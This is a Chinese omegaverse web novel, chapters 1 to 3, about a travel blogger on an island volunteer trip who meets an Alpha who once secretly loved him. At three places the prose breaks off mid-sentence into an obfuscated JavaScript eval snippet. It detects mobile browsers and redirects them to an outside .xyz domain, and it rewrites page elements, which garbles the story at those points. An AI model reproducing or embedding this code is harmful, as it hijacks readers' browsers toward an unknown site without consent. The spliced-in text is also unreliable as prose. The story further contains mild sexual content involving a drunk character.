《教练,我闻到你的信息素了》 1. 海岛游 艾萨普机场內,热带的阳光透过玻璃穹顶落下,桃楠拉着时夏穿过人群,薄荷色衬衫被汗水浸出深色水痕。 两个人一路跑到了机场外,坐上了协会安排的车。 海岛的阳光正盛,热的他们在车上狂灌了一瓶冰水。大巴空调出风口呼呼作响,桃楠仰起头,把冰凉的瓶身贴在泛红的脸颊上,连耳根都透着被晒的薄红。 车缓缓启动,两侧车窗被陆续拉开,带着浓郁海盐味的海风“呼呼”灌进来,卷着细碎的沙粒,肆意吹起他们额前的碎发和衣角。 桃楠瘫在座位上,毛茸茸的脑袋歪着,生无可恋地看向时夏:“暑假不就该瘫在空调房里啃西瓜吗?我为什么要同意跟你遭这份罪啊!我的假期还没开始就结束了……” “是你自己要跟来的,我劝都劝不住。”时夏转过头道:“你不是对大海有影阴吗?” “总要克服的啊,而且另外一个地方是非洲,我当然选海边了,我姐知道的时候差点没气死。”桃楠摘下墨镜,琥珀色瞳孔里倒映着窗外飞驰而过的棕榈树。 桃楠,一个精力旺盛的吓长的omega,所以家里也总是对他不放心,可他作为一个旅游博主,也免不了到处玩儿。 大三的暑假,他和时夏正好赶上A大的动物保护协会组织的志愿者活动,于是就有了来帕米兰群岛海洋动物保护协会当志愿者的计划。 “她不气才怪呢,你不是说你是在初中游泳时意外分化,还撞到脑袋失去了一段记忆?”时夏一边说着,一边低头戳着手机屏幕发消息。 桃楠:“不会有事的,我都有潜水证了,而且我们时医生不是还和我一起吗?” 两个人初中的时候还不认识,后来高中和大学都是一起上的。 桃楠拿着相机整理路上拍的素材,抽空看了他一眼,调侃道,“笑这么开心,不知道的还以为南哥在这儿呢。” “他确实在。”时夏说完看向窗外,远处的独栋小别墅前确实站着一个花孔雀一样的Alpha,穿了一身海边度假必备的碎花衬衫和短裤,在一众穿志愿者服的人群里扎眼得像个移动信号灯。 “夏夏!”花孔雀朝他们挥了挥手。 “你是说,他放下游泳队的训练,然后出现在大西洋彼岸来陪你?”桃楠对这对小情侣表示震惊。 “好像是这样。”时夏清冷的眉眼弯了弯,桃楠翻了个白眼,觉得这碗狗粮烫嘴。 大巴停在别墅前,咸腥的海风卷着细沙扑在脸上,带着点痒意。桃楠小声嘟囔:“南哥又来跟我抢人,好不爽。” “好了,下车吧。”时夏跟车上其他被分在这里的A大学生一起下了车,桃楠“哦”了一声,拿过座位上的包,磨磨蹭蹭的跟着下去。 “宝宝,我想死你了!惊不惊喜,意不意外?”车下等着的南阳冲上来抱住时夏,完全忽略了一旁大包小包的桃楠。 他费力的拉下行李转过身,听见时夏问对方:“你怎么来了?” 南阳搂住时夏的肩膀,指腹蹭过他被晒红的耳尖,回他:“训练哪有老婆重要!我当然是来陪你旅行的。” “别装了南哥”桃楠笑着上前,眼睛盯着他脖子上挂着的工作牌说,“你是报名来的协会吧?” “这叫两全其美好不好?”南阳把脑袋上的草帽扣到时夏头上,拉着两个人的行李,带他们和其他志愿者回了海边别墅。 A大学生见待遇这么好,震惊道:“A大这次是下了血本啊!既然是住海景别墅。” 有人附和说,“我有个同学去了非洲,他们比我们早几天的行程,跟我吐槽好久了,还说有一只母狮从笼子里跑出来了,不过她还上去合照了,说医生都特帅!” 桃楠听见的时候正在刷朋友圈,还刚好刷到了他表哥的那条,上面是他说他养的小狮子变成学生的景点了,还配了一张和狮子的合照。 早知道是去我哥那儿,我就不来这里了。 别墅大厅內。 “这里挺多房间的,你们一人一间,或者两个人都可以。”南阳晃着手里的钥匙道,“你们自己选就行,完事儿找我拿钥匙,我今天担任你们的临时向导,其他消息看群里安排。” 大家纷纷应了声“好”,拉着行李开始找房间。 桃楠放下手机幽怨的看向南阳,“你就是来和我抢夏夏的!我本来都打算和他一起住了,你在他肯定不来。” “哎呀,你先别气。”南阳笑嘻嘻的把一把钥匙递给他,“这里视野最好的房间,在二楼,你直播方便。” 桃楠闻言立马接过钥匙,然后朝时夏眨眼:“他真是好人,这门婚事我同意了!” 说完,他头也不回得拎着行李箱去了二楼。 推开房间门的瞬间,明亮的光线裹着清新的海风气息扑面而来。 房间整体是暖米色基调,正对着门是一张超大号的柔软床铺,上面摆放了几个淡蓝色的抱枕。 床的右侧是一排落地窗,此刻轻薄的白色纱帘随着海风轻轻飘动。 透过巨大的玻璃,桃楠将无垠的湛蓝大海尽收眼底,看见海浪有节奏地拍打着沙滩,溅起层层白沫。 他走过去扔下行李,坐在了旁边的布艺沙发里,这里既能惬意地享受阳光,又能将窗外的海景一览无余。 房间里的一切好像都是桃楠喜欢的风格,他简直不要太喜欢。 再往里走,便是独立的卫浴间,地面和墙壁都铺着蓝白相间的马赛克瓷砖,圆形的浴缸靠着窗边,在泡澡的同时还能欣赏海景。 桃楠架起手机开始直播,给粉丝看了一圈房间里的环境。镜头扫过浴室时,他故意在浴缸前多停留了几秒。 阳光透过纱帘照在脸侧,桃楠微微眯起桃花眼,露出意味不明的笑:“你们看这个浴缸,是不是很适合……” 他故意停下,突然凑近镜头,玫色的唇几乎要贴上屏幕,直播间瞬间被弹幕刷屏。 看完后,他把手机架在了床边,边收拾衣服边和他们聊天。 “我太喜欢这里了,好漂亮,好适合谈恋爱,两个人手牵手走在海边,多浪漫啊。”他边说边避开镜头,换了个宽松一点的短袖,低头的时候能露出些精致的锁骨。 再回到镜头前的时候,桃楠看见大家刷的飞快的弹幕,凑到镜头前问:“你们今天怎么这么兴奋?” [啊啊啊啊桃桃你不要靠这么近啊,盛世容颜我遭不住!] [桃桃你今天格外的诱人啊!!!!] [哈哈哈哈哈桃桃你刚刚脱上衣镜头其实没挡住哦。] [桃儿!你既然有腹肌欸!] [桃桃的桃花眼真的看什么都深情,真勾人啊。] [画风不对啊姐妹们!在聊下去我们要上高速了!不是在欣赏桃桃完美的脸吗?] [后面的浴缸确实好涩啊!!!如果做点什么的话…………应该很合适。] “是吧是吧,”桃楠看完大家的评论,真就脸不红心不跳的带着他们上高速:“简直太适合做点少儿不宜的事情了。” “不过,我还没男朋友,用不到。”他看到有新的粉丝后,又凑到了镜头前,像只炫耀自己漂亮花色的小猫似的扒拉了一下头发。 [宝宝!你头发是天生就是棕的吗?好特别啊。] [薄荷桃桃你这家伙,又在炫耀自己的头发了。] [给新粉科普一下,我们薄荷桃桃很喜欢自己的天生棕发。] [桃桃,你们那里有很多帅A的!你快给我们找一个,我们还想要情侣向视频。] [啊啊啊啊想看宝宝撩Alpha,我们猫猫超会钓。] [宝宝,你已经很久没做情侣向视频了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326474|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ~] [你和琛哥我还没磕够呢!他超温柔。] [既然你都说这里很适合谈恋爱,那我就要造谣你要拍情侣向啦!] 桃楠见目的成功,慵懒的盘腿坐在了床下的毛绒地毯上,双手撑着下巴回答他们的问题:“你们让我考虑一下,说不定会找个有八块腹肌的。” 他虽然是旅游博主,但也是一款不太一样的,会偶尔邀请一个符合当地主题的Alpha当嘉宾,虽然粉丝都知道双方有合约在身,但是还是都莫名的磕起了他们的cp。 后来桃楠怕影响不好,减少了这类视频的拍摄,只是偶尔找个主题,找职业合适的嘉宾拍双人视频,被粉丝戏称情侣向。 桃楠又回答了几个问题,然后关了直播,“好了好了,我行李还没收拾完呢,先下了,下次见哦。” 应付完粉丝关了直播,收拾好行李后,窗外的太阳已经西斜,海风吹散了热气,带着点微凉的湿意。 桃楠趴在床上打开手机,看见了原来带他们志愿者的向导让5点在楼下集合的消息。 他想起过来的时候还没吃饭,给时夏发去消息,结果对面好半天都没回他。 “怎么还不回消息?”桃楠瘫在床上,扒拉着手机屏幕,拖长尾音道:“我都快饿死了~” 过去了几分钟后,对面还是没消息,他只好按时夏给自己的房间号去找他。 一楼最里面的房间门口,桃楠想要敲门的手顿住,他听见了里面传来的声音。 “宝宝,就让我咬一口好不好?我好想你,真的。” 南阳的声音很近也很急,两个人大概就在玄关处。一阵衣料摩擦声过后,里面隐约传来压抑的喘息声。 “我靠……”桃楠的脸“腾”地烧起来,耳尖瞬间红透,转身时差点撞翻墙角的旅人蕉盆栽,叶子上的水珠洒了他一裤腿。 这里的房子隔音这么差的吗?这是在…… 虽然他直播的时候说这些东西都脸不红心不跳的,经常在直播间开车,但那也只是嘴上过过瘾罢了,真听见什么少儿不宜的事情,还是不一样的。 桃楠到餐厅的时候,里面已经有不少人了,而且大部分都是A大的学生。 自助台上摆着冰镇的海鲜和切好的热带水果,桃楠随便夹了些龙虾肉和草莓,找了个靠窗的位置坐下,给桃酥打去视频。 对面很快接通,屏幕里的女生好像刚睡醒,还在床上。她拖着困意问桃楠:“你到了?环境还满意吗?我给你留了一间最好的房间,南阳把钥匙给你了吧?” 桃楠拿草莓的手顿了一下,随后无语的看向屏幕,气道:“原来是你准备的吗?怪不得都是按照我的喜好来的,我还以为是南哥为了让我把时夏让给他才贿赂我的。” 屏幕对面的桃酥似乎笑了一声,被弟弟警告过后,只好安慰道:“乖,让人小情侣好好过二人世界,回来我再收拾你南哥。” 桃楠咬了口草莓,“哦”了一声,然后看到了到账20万的短信提示。 “谢谢姐姐!爱你!” “现在是北京时间凌晨3点宝贝儿,我明天还有训练呢。”桃酥命苦的打了个哈欠,提醒道:“记得找个时间对好时差再给爸打电话。” 桃楠有些不好意思的笑了一下,但没搭理她的最后一句话,“对不起嘛姐,我时差没倒过来,下次一定注意!” “好了好了,我挂了。”桃酥最后叮嘱他,“一定要注意安全知道没?” “知道了知道了,拜拜!” 桃楠挂断电话后,快速解决了碗里剩下的食物,但在准备离开的时候,他突然被人叫住。 “桃楠?真的是你啊。” 他闻声,转过身看见了一个自己最不想看见的人。 “你怎么在这儿?”桃楠冷着脸说,“你跟踪我?” 2. 装男友 桃楠琥珀色的瞳孔里映出Alpha逼近的身影,对方想上前拉他的手,他猛地后退半步,避开那只手时带倒了身后的餐椅,金属椅腿刮过地板,发出刺耳的声响。 “学弟,”他声音冷得像淬了冰,刻意挺直脊背扬起下巴,“我是和男朋友一起来的,劝你别自讨没趣。 对面的Alpha像是没听见,无辜的笑道,“学长,我是这次的活动负责人啊?你想什么呢?” 他故意拖长尾音,停了一下,笑起来看着没有任何危险,他说:“而且,我怎么没看到名单上有那个是和你很熟的Alpha呢?” 呵,都负责人了,会不知道我来了? 桃楠盯着那张虚伪的脸,胃里一阵翻搅。 他攥紧拳头,指甲掐进掌心,硬是压下抄起旁边花瓶砸过去的冲动,转身就去拉餐厅的玻璃门。 抬手的瞬间,门口挂着的贝壳风铃被风吹起,细碎的铃声里,桃楠撞进门外那双沉静的眼眸。 那人穿着简约的白色短袖,玻璃上映出他没什么表情的帅脸,和那头显眼的蓝色头发。 四目相对的瞬间,桃楠感觉自己呼吸都停滞了,不自觉松开拉着门的手。 门外的Alpha看见他,墨色瞳孔里闪过一丝不易察觉的怔愣,随即抬手按了按颈后,推开玻璃门。 海风顺着门缝涌进来,带着他身上清冽的气息,像冰镇过的海盐汽水。 “他骚扰我。”桃楠脑子一热,没等对方站稳就伸手挽住他的胳膊,声音发虚却强装镇定,抬眼挑衅地看向陈泽,“你能处理一下吗?” 餐厅里霎时安静下来,陈泽的脸色僵了僵,看向被桃楠搂着的Alpha,语气带上点讨好:“砚哥,你什么时候谈的恋爱?来之前怎么没说?” 桃楠脸上的表情“咔嚓”一声裂了缝。 他僵硬地转头,悄悄抬眼打量身边的Alpha。 不是吧?这么巧?他们认识?! 被唤作“砚哥”的Alpha深吸一了口气,垂眸看向怀里像炸毛小猫似的omega,声音低沉悦耳,带着点冷意:“我谈恋爱需要向你报备?” 他的视线扫向陈泽,“我不想跟骚扰omega的人共事,你明白我的意思。” 陈泽显然忌惮他,讪讪地笑了笑,像个没事人一样拉开玻璃门走了。 风铃再次响起,像在嘲笑桃楠的自作聪明。 桃楠见状立马放开自己搂着的胳膊,有些不好意思的开口:“对不起啊,吓到你了,不过谢谢你帮我。” 被自己强行拉来帮忙的Alpha比他高出一个头还多,桃楠只好仰着脸看他。 对方眯起漂亮的狐狸眼,睫毛很长,目光在他脸上停留了好一会儿,像是在确认什么。 阳光透过玻璃落在他蓝发上,泛着光泽,看得桃楠心跳又开始失序。 这人也太帅了吧?帅得他腿都有点软。 “这位帅哥?”桃楠被看得浑身不自在,又退了退,眨了眨眼,“你……还有事吗?” 没事就别盯着我看了啊喂! Alpha突然低笑一声,声音很轻,像海风拂过贝壳。转身离开时,蓝发的发梢不经意掠过桃楠鼻尖,留下一缕若有似无的清香,像是雨后的松林,混着海水的味道。 风铃“叮铃”作响,桃楠站在原地,摸着突然隐隐作痛的后颈腺体,小声吐槽:“帅是帅,就是太没礼貌了吧?” 还没走远的梨砚:“…………” 陈辰:“…………” 陈辰:“所以他是拿你当挡箭牌了?” “是这样没错。”别墅二楼的房间里,梨砚接过他递过来的腺体修复剂,没什么精神道:“一会儿你替我去带A大的学生吧,我要补觉。” 沙发上瘫着的Alpha闻言踹了他一脚,“我一个国家队的队医是来给你干这个的?我们好不容易休假好不好。” 他的目光扫过窗外楼下的人影,漫不经心的开口:“你确定要错过这次机会?” 梨砚:“别以为我不知道你是和你对象吵架了,跟我躲来这里避风头的。” 梨砚回避了他的问题,视线从窗外的桃楠身上收回,把空了的针剂扔进了垃圾桶里。 陈辰没有回应他的话,只说了一句,“没出息,不就看到了5年没见的人,闻到了点信息素?要是浓度高一点,你是不是得当场失控啊。” 他没有说完,朝梨砚意味不明的笑了一下,但对方压根没精力搭理他,一只手摸着发疼的腺体,另一只把还没干的头发撩到脑后,烦躁的开口:“你滚不滚?” 时隔七年,再次闻到信息素的味道,梨砚整个人都要炸了,感官好像放大了数倍,他感觉现在全身上下都是桃楠的信息素味。 陈辰见他拉上窗帘躺回被子里把自己裹起来,只好耸耸肩带上门,然后站在门口感慨:“我那搞暗恋,结果不仅伤了自己,还被忘记的好兄弟啊。” 别墅外,A大的学生们陆陆续续的在码头集合,南阳配合陈辰把注意事项讲了一遍,然后跟着他们上了游艇。 “别担心了,南阳不是说了,”海风吹过,时夏抬手压住帽沿,看向一旁举着相机的桃楠,“陈泽已经去另外一座岛了。” 南阳把冰镇椰子水递过去,附和:“那个傻逼不会再来了,他敢来我们就把他扔海里喂鲨鱼!你别想了。” “我是在可惜没要到那个帅哥的联系方式。”桃楠接过椰子水,吸管戳破椰壳的瞬间,清甜的汁水混着冰碴滑进喉咙,他无语道:“谁管那个死变态。” 时夏拿起自己的汽水和他碰了一下,“我们桃儿的臂力可不是说说而已,要不是在国外怕对方乱来,早就打一顿完事儿了。” “我姐从小到大的沙包可不是白当的。”桃楠靠在船身上,弯腰看蓝色的海水。 不知道为什么,他想起了在餐厅遇见的那个Alpha,或许是因为他的头发也是蓝色。 桃楠想,如果再遇到他,可以考虑一下邀请他当我的嘉宾,就是不知道身材怎么样…… 游艇渐渐放慢速度,像一片叶子顺着洋流飘。 “这里是南太平洋群岛风景就好的地方了。”陈辰懒散的靠在船身上,“你们今天先随便玩,感受一下大海吧,就当出海玩了。” 学生们欢呼着散开,桃楠抱着相机拉着时夏去了游艇另一侧。陈辰叫住南阳,摘下墨镜,压低声音问:“小阳子,你老婆旁边那个……有对象吗?” 南阳闻言笑嘻嘻道:“陈队,你不会看上他了吧?那你惨了,他姐可是今年的女A拳击赛世界冠军,你打不过的,而且你不是有对象吗?” “我可不敢!” 他是疯了吗?和梨砚抢人怕是不想活了? 不对! 陈辰突然反应过来南阳的后半句话,兴奋的问,“桃酥?!” “是啊。”南阳奇怪的看了他一眼,说:“怎么了,你认识啊?” 陈辰像是抓住了救命稻草,“你有她微信没?让我打个电话呗。” 南阳:“…………” 南阳尴尬的笑了一下,“那太不巧了,我刚被她拉黑,不过你可以问桃楠。” 最后,陈辰还真去问了。 此仇现在不报更待何时!!! 桃楠见陈辰一脸要算账的样子,像是猜到了什么,打通了姐姐的电话,然后递给他。 南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326475|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳举着小扇子,边给时夏扇风边说:“我感觉他可能是你姐粉丝。”语气里还带着不容怀疑的肯定。 桃楠和时夏对视了一眼,然后露出神秘的笑容,因为陈辰更有可能是桃酥的情债。 不过……陈辰不是Alpha吗?桃楠有些怀疑的想。 电话接通,陈辰像是不在意旁边有没有人,大声对电话那头的人说,“桃酥你个花心大萝卜!提上裤子就不认人的臭流氓!我是不会……” 他似乎还想再说什么,但被电话里传来的可爱男声打断,对方说,“桃酥姐去洗澡了,你找她有什么事儿吗?” “你把电话给她!”陈辰咬牙切齿道。 “谁?”桃酥略显疲惫的声音从电话那头传来。 她接过电话看了一眼备注:“喂,阿楠?” 陈辰的声音小了下来下来,但语气还是有些硬:“我就知道你还是喜欢omega!呜呜呜……” 没等桃酥反应过来电话就已经挂断了,她一脸懵的看了眼手机,又看了眼器材室里叫来放松肌肉的理疗师。 “你接的?”她问对方。 理疗师憋着笑说,“是啊,我说你在洗澡。” 桃酥烦躁的撩了一下头发,叫他离开,然后火速买了机票。 另一边,陈辰在所有人的注视下掉了几滴眼泪,然后挂断了电话。 A大众学生:这不比狮子跑出来了还刺激! 在一片讨论声中,桃楠接过陈辰递来电话,和时夏对视。 果然!这就是情债! 南阳:“…………” 南阳不可置信的看了眼快气炸的陈辰,小声说,“我靠我靠!你们听见了没,陈队既然和桃酥姐有一夜情!” “正常。”桃楠低头回复她姐发来的求救信息,毫不惊讶道:“她欠下的情债多着呢,不过……” “不过什么?”一旁边哭鼻子边偷听的陈辰凑了过来。 桃楠警惕的藏好手机,回他:“你应该是姐姐睡过的第一个Alpha,她以前的绯闻对象都是omega。” 但这句话好像并没安慰到陈辰。 “可是,Alpha本来就是要和omega谈恋爱吧?而且omega又可爱又厉害,谁不喜欢?” 南阳在一旁一本正经的添油加醋,还抱住时夏蹭了蹭他的脸:“比如我们时医生就很厉害很优秀啊。” “我不和歧视同性恋的人谈恋爱。”时夏无情的推开了他。 南阳:“我没有!我错了!” “算了,我们该回去了。”陈辰好像更难过了,脸上没有一点Alpha威风凛凛的样子,完全就是一副失了恋要去卖醉的状态。 他边说边往船舱里走,没过一会儿,游轮似乎真的调转了方向。 桃楠幸灾乐祸的看向什么都不知道还张嘴就来的南阳:“要是你们陈队今天离开了这座岛,你真的会被我姐骂死哦。” 时夏没等男朋友向自己求助,笑着往桃楠身旁挪,无辜道:“我救不了你,你自己想办法。” “啊?” 南阳估计满脑子都是自己老婆,还没反应过来发生了什么。 桃楠贴心的把手机递给他,上面是他和桃酥的聊天记录。 [别让他离开!我晚上就到。] [南阳那傻逼肯定在,让他不要乱说话。] 她到底是怎么预判到的………… “你怎么不早说!我这都已经说完了!” 南阳转身跑向船舱,嘴里还念叨着:“陈队!桃酥姐她肯定最喜欢你的…………” 最终,游艇在南阳的死缠烂打下慢了下来,比预计的晚了半个多小时到码头。 3. 梨花香 夕阳渐渐沉入海平线,橙红色的余晖照在海面上,咸涩的海风裹挟着潮湿的暖意,轻轻掀起桃楠浅棕色的刘海。 他和南阳一人拉着陈辰的一条胳膊,把他拽向了岛上的小酒馆。 不远处的原木色的招牌被海风摇晃得吱呀作响,到门口的时候,陈辰挣扎着说:“你们拉我来这儿干什么?我得回…………” 回去看看我病重的兄弟! 他的话还没说完就被南阳捂住了嘴,“陈队,我知道你很伤心,我们今晚不醉不归!” 桃楠把他摁在了沙发上,强硬道:“我姐对你那么不好!作为她弟弟,我陪你喝!” 外面的太阳已经落了下去,垂落的藤编吊灯亮起橙黄色的光,空气中浮动着朗姆酒与迷迭香混合的气息。 陈辰扒拉开南阳的手,眉骨高挺的脸上带着几分不羁,“喝酒我不比你们懂?等着。” 他说完转身去了吧台,正在调酒的银发omega调酒师见他过来,没什么反应的看了一眼,手上摇酒的动作没停。 陈辰修长的身形倚在胡桃木吧台前握着手机,低低的交谈声混着冰块碰撞的清脆声响。 他举着手机,好像对omega调酒师说了什么,对方的视线落在屏幕上,然后挑眉,随意的掏出手机扫了上面的码。 “他怎么去调戏omega了?”南阳警惕地眯起眼睛,“要把他抓回来不。” “没关系”时夏轻笑了一声道:“把证据发给桃酥姐就好了。” 他说完后,桃楠表示赞同,立马举起手机开始各种角度拍照,浅棕色的头发被灯光染成蜜糖色。 “这不得气死我姐哈哈哈哈哈哈。”拍完后,他一建发送给了桃酥, “这招不错啊”南阳说着,凑过去看他的手机屏幕。 薄荷桃子:[姐~我们拉不住他!他好像被你伤狠了呢。] 然后就是陈辰和调酒师的各种图片图片图片。 很快,聊天框弹出桃酥的消息,简洁有力的文字配上52000的转账。 TS:[他好样的。] TS:[地址。] TS:[微信红包] TS:[把他给老娘拖住了。] 屏幕前的三个人异口同声的“哇哦”了一声,然后同情的看向还在吧台的陈辰。 他端着四杯淡青色的酒回到卡座的时候,敏锐地察觉到气氛的异样,问:“怎么这么看着我?我可是牺牲了我表弟的微信,帮你们要到了隐藏款。” 桃楠反应了一下他的话,茫然的眨了眨琥珀色的眼,然后皱眉,小声说,“你刚不是在和他调情,然后约他吗?” 时夏和南阳对视一眼,异口同声:“你不是去调戏他的?”两个人脸上的震惊如出一辙。 陈辰端着酒杯的手顿住,“啊?”了一声,一脸懵道,“这都什么跟什么?我只是要个隐藏款啊,坑的是我表弟好不好?” 他懒散的靠在沙发上,仰头喝了一口酒,然后摆出了一副良家少男的模样:“我还要等我老婆来找我呢,那能随便和别人眉来眼去,而且她要是知道了,我要遭打的。” 桌上三个人面面相觑:完了,消息已经发出去了………… “等一下!”桃楠迟疑的问他,“你怎么知道她要来?而且你不是被我姐不小心睡了的一夜情对象吗?” “说什么呢?”陈辰晃着腿,摆出正宫的架势,反驳道,“我可是你姐正牌男友,她那些绯闻对象都是我啊?我们只是吵架了,刚刚那都是气话。” 他靠在沙发靠背上,晃着手里的酒杯,“我倒是知道她还有个弟弟,但没见过,你应该告诉他我在这里了吧?” 时夏:“我靠……” 南阳:“陈队啊……你……保重。” 陈辰察觉到不对,警惕的放下酒杯,眯起眼问,“你们不会以为我伤心过度,然后去约刚刚那个调酒师了吧?” “不止啊,姐夫。”桃楠知道自己犯错后,讨好的喊他,举着手机小心翼翼的把聊天记录给他看。 陈辰简单翻了一下,然后转身就跑,“我操小命要紧!你快给她解释一下,我先走了!” 酒馆门口。 刚从沙发上翻过去的陈辰低头,看见了一双熟悉的鞋子,随后,他的眼神缓缓上移,看见一张熟悉的脸。 桃酥穿着黑色的短款皮衣外套,金属链条在腰间泛着冷光,勾勒出张扬的弧度。 那双骨节分明的手指捏住了陈辰的后颈,俯身时棕色齐肩发垂落,将两人笼罩进暧昧的阴影里。 她挑眉,笑道:“去哪儿啊?” 陈辰看着突然出现在眼前的人,清了一下嗓子,然后朝她挥挥手道:“嗨,老婆。” 刻意拉长尾音的问候里带着三分发虚,话音未落,他的后腰已经抵上冰凉的门框。 两个人都是Alpha,身高差不多高,但由于桃酥职业的原因,在气势上压了陈辰一头。 桃酥的手指扣住他的后颈,摩挲着凸起的脊椎,混合着朗姆酒的柚子味信息素如实质般压下来,使得陈辰被迫仰头。 对方微微弯腰,亲了上去,这个吻来得猝不及防,带着侵略性的舌尖撬开他的齿关,带着体温的金属戒指隔着衬衫烙在他腰侧。 但很快,桃酥松开了他,舔了舔染着淡色口红的唇角,转头看向吧台的调酒师,警告的意味明显。 对方似乎是认识她,停了手上的动作,朝桃酥笑了一下。 卡座上,桃楠看着两个人离开的背影,震惊道,“我姐也太牛逼了吧!她既然真的搞男A啊。” 南阳伸出大拇指比了个赞,表示:“我以为她是花心大萝卜呢,结果只是搞双A而已啊。” “我也没想到。”时夏被桌上的酒吸引,薄荷绿的液体在灯光下泛着微光,他端起酒杯喝了一口。 可能觉得味道还可以,他凑到桃楠耳边悄悄说:“这酒还挺不错的,你应该喜欢。” 桃楠闻言拿起酒杯尝了一口,然后眼睛就亮了,比刚刚看见她姐接吻时还亮。 “好好喝啊!”他舔了舔嘴唇,清香的梨花香气在舌尖散开,这个味道很熟悉,好像下午才闻到过。 南阳记得桃楠酒量还不错,也没阻止他,“陈队之前说它叫什么梨花港来着?你不是特别喜欢梨花味儿吗?说什么跟你的味道很配什么的。” 时夏似乎也很喜欢,可能是因为没什么酒味。他和桃楠两个人很快就把眼前的两杯梨花港喝完了,甚至还想再来一杯。 昏黄的吊灯在吧台上方摇晃,南阳将时夏圈在臂弯中,对方白皙的脸颊泛着醉意的潮红,声音带着喝醉后的鼻音:“再喝一杯嘛......” “乖,一会儿喝醉了,咱不喝了。”南阳搂住撒娇的omega,拍着他的背安抚。 时夏酒量实在太差,已经挂在南阳身上不省人事了,对方只好提醒留下的桃楠注意安全,抱住在自己怀里乱咬的时夏离开。 桃楠还沉浸在好喝的梨花酒里,摆摆手去前台又要了一杯。 他倚在吧台边,手指转着酒杯,杯壁上凝结的水珠顺着他的指缝滑落。他的酒量确实还不错,两杯下去都没什么反应。 调酒师擦拭着杯具的动作顿了顿,提醒道:“梨花港后劲很凶的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326476|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桃楠漫不经心地笑了一下,“放心,我酒量好着呢。” 他没多在意调酒师的话,拉开玻璃门往外走。 回到别墅的时候,桃楠有些晕,可能是刚刚喝的酒后劲上来了,信息素控制不住的往外冒,走廊里很快被一股清香的桃花味占领。 他揉了揉泛红的脸,怕自己一会儿不清醒了会干出什么,快步朝自己的房间走去,但在走到门口时,突然停住了。 “好香啊。”桃楠动了动鼻子,然后转身看向对门,里面飘出和他刚刚喝的酒一样的梨花味,但是很淡。 桃楠闻着若有似无的味道,越来越晕,最后,梨花酒的后劲彻底淹没了他。 好好闻,是梨花香…… 想要更多。 带着乱七八糟的想法,桃楠跌跌撞撞走向对门,抬手敲响了房门。 很快,门开了,桃楠伸手抓住了门框,醉醺醺的抬起眼看开门的人。 门內的Alpha没穿上衣,露出大片赤裸的胸膛,眯起眼看眼前带着酒味的omega。 桃楠闻着让他上头的梨花味,和眼前的超大号梨花对视,然后毫无预兆的撞了上去。 他的发丝扫过Alpha结实的胸膛,梨砚身上的气息铺天盖地将他笼罩,像是被卷入了盛开的梨花林。 清甜的香气裹着滚烫的体温,让他发软的双腿彻底失去支撑,迷迷糊糊道:“好大好香的梨花,好……好喜欢。” 操…… 他怎么来了? 梨砚被熟悉的桃花香包裹,他抬手撩了一下头发,一手抱住怀里的omega往房间里带,一手用力的把门关上。 房间里只开了一盏床头灯,昏暗的环境里,梨研被桃楠毫无预兆的推倒在柔软的羽绒被上死死压住,后腰撞上木质床头发出闷响。 omega跨坐在他腰腹间,琥珀色的眼眸蒙着水雾。他说,“让我闻闻怎么了?花不就是……让人闻的?” 桃楠应该是彻底醉了,趴在Alpha身上,完全不在意身下人的挣扎,带着酒味的热气喷在对方的颈侧。 梨砚喉间溢出一声低哑的闷哼,滚烫的手掌扣住桃楠的腰,omega身上清甜的信息素如同带着倒刺的藤蔓,缠绕着他逐渐失控的理智。 他也能闻到我的信息素? 梨砚压住狂跳的心脏,闭了闭眼,伸手掐住在他身上乱蹭的omega的后脖颈。 滚烫的指尖碰到桃楠的腺体,激的他叫了一声卸了力,不再压着梨砚。 但房间里的信息素越来越浓烈,梨花和桃花的味道出乎意料的融合在一起。 梨砚的腺体开始发疼,被信息素勾的越来越喘,他歪着头靠近omega的后颈,闻了闻放出信息素的腺体,睫毛轻颤着扫过细腻的皮肤。 那里的信息素味比任何地方都浓郁,让他觉得自己身处在春天的桃林里。 omega发间混着海盐与梨花酒的味道,像春日里最温柔的陷阱,让他不由自主地加深了呼吸。 忍住…… 最后,他凭借残存的最后一丝理智,下了床套上衣服。 桃楠瘫在凌乱的床铺上,意识已经混沌。他迷迷糊糊地抱住带着梨花香气的枕头,浅棕色的发丝散落在雪白的枕套上,像一幅被揉碎的春日画卷。 “好香……” 桃楠把脑袋埋进了枕头,闻着上面残留的梨花香,最后在酒劲彻底上来前闭上眼,抱着梨砚的被子睡着了。 门被打开的瞬间,走廊的冷光涌进来,梨砚最后看了眼床上蜷缩的身影,喉结动了动,最终还是关上了门,将一室旖旎隔绝在黑暗中。 4. 信息素 